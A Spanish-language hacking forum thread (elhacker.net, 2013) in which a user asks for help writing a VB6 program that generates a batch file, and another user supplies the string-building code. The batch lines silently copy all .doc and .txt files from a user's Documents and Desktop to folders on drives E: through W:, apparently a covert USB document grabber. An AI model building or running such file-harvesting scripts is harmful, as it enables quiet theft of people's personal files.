elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  modifcar bath con vb6		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: modifcar bath con vb6  (Leído 2,221 veces)
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
modifcar bath con vb6
« en: 14 Enero 2013, 19:26 pm »
ay alguna forma de modicar una parte de mi codigo bath con vb6 ?

esta es la parte del codigo

Código:
(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL

quiero agregar o quitar extensiones a copiar *.doc,*.txt quiero modificar eso desde vb6 como un menu pero no tengo idea de como me podrian dar una ayuda solo diganme como lo ago please XD
En línea
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: modifcar bath con vb6
« Respuesta #1 en: 14 Enero 2013, 20:06 pm »
podrias hacerlo desde vb6 todo :S.


Código
  1. Private Type SHFILEOPSTRUCT
  2.     hWnd As Long
  3.     wFunc As Long
  4.     pFrom As String
  5.     pTo As String
  6.     fFlags As Integer
  7.     fAborted As Boolean
  8.     hNameMaps As Long
  9.     sProgress As String
  10. End Type
  11.  
  12. Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long
  13.  
  14. Const FOF_NOCONFIRMATION = &H10 ' Don't prompt the user.
  15. Const FOF_NOCONFIRMMKDIR = &H200 ' don't confirm making any needed dirs
  16. Const FO_COPY = &H2
  17.  
  18. Private Function NuCopy(source As String, target As String) As Boolean
  19. 'Nucleus
  20. 'Copy file(s)/directories from source to destination
  21. 'In path of source either file(s) or folder and path of target as folder
  22. 'Out: Boolean indicating success
  23. If Right(source, 1) = "\" Then source = Left(source, Len(source) - 1)
  24. If Len(Dir$(target, vbDirectory)) <> 0 And (Len(Dir$(source, vbDirectory)) <> 0 Or Len(Dir$(target, vbDirectory)) <> 0) Then
  25.     Dim SHFileOp As SHFILEOPSTRUCT  ' structure to pass to the function
  26.     With SHFileOp
  27.         .wFunc = FO_COPY
  28.         .pFrom = source
  29.         .pTo = target
  30.         .fFlags = FOF_NOCONFIRMATION Or FOF_NOCONFIRMMKDIR
  31.     End With
  32.     NuCopy = (SHFileOperation(SHFileOp) = 0)
  33. End If
  34. End Function
  35.  
  36. Private Sub Form_Load()
  37. x = NuCopy("C:\Users\CENTRAL\Desktop\Nueva carpeta\*.txt", "C:\Users\CENTRAL\Desktop\2")
  38. End Sub
  39.  

saludos
En línea
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: modifcar bath con vb6
« Respuesta #2 en: 14 Enero 2013, 21:13 pm »
es que lo que quiero es que me genere un bat agregando las extensiones :S

Código:
Print #1, "REM E"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "REM F"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "REM G"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "REM H"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "REM I"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "REM J"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "REM k"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "REM L"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "REM w"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"

mira si esto lo pongo en vb6 me da error lo que ase este codigo es hacer el bat pero tengo errores en los % "" pff XD espero me puedan ayudar
« Última modificación: 14 Enero 2013, 21:15 pm por asdexiva » En línea
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: modifcar bath con vb6
« Respuesta #3 en: 14 Enero 2013, 22:13 pm »
así

Código
  1. Dim extensiones As String
  2.  
  3.  extensiones = "(*.doc,*.txt)"
  4.  
  5. Open "C:\Users\CENTRAL\Desktop\test.txt" For Append As #1
  6.  
  7. Print #1, "(FOR /R " & """%userprofile%\Mis documentos\""" & " %%a IN " & extensiones & "  DO  " & "(copy /y " & """%%a""" & " " & """E:\datossss\""" & ")) >NUL"
  8.  
  9.  
  10. Close #1
  11.  
.
« Última modificación: 14 Enero 2013, 22:16 pm por Danyfirex » En línea
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: modifcar bath con vb6
« Respuesta #4 en: 15 Enero 2013, 00:16 am »
muchisimas gracias gracias gracias

&  <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?
En línea
Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: modifcar bath con vb6
« Respuesta #5 en: 15 Enero 2013, 00:49 am »
Cita de: asdexiva en 15 Enero 2013, 00:16 am
muchisimas gracias gracias gracias

&  <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?



Es la operación por la cual dos caracteres se unen para formar una cadena de caracteres (o string). También se pueden concatenar dos cadenas de caracteres o un carácter con una cadena para formar una cadena de mayor tamaño. Algunos ejemplos:
'a' concatenado 'b' → "ab"
"ABCD" concatenado 'b' → "ABCDb"
'a' concatenado "XYZ" → "aXYZ"
"ABCD" concatenado "XYZ" → "ABCDXYZ"


saludos
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bath « 1 2 »
Scripting 		La ZeNoN 15 11,019 Último mensaje 20 Julio 2010, 14:11 pm
por flony
[BATCH] host modifcar
Scripting 		asdexiva 2 3,783 Último mensaje 31 Enero 2013, 17:05 pm
por asdexiva
Ayuda con un bath
Dudas Generales 		Morfo360 0 1,691 Último mensaje 22 Agosto 2013, 20:32 pm
por Morfo360
Ayuda para metodo de buscar y modifcar en un .txt
Programación C/C++ 		pedro0620 0 2,657 Último mensaje 27 Septiembre 2016, 02:38 am
por pedro0620
Modifcar archivo rat
Análisis y Diseño de Malware 		Beginner Web 8 5,148 Último mensaje 3 Septiembre 2019, 16:38 pm
por xv0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines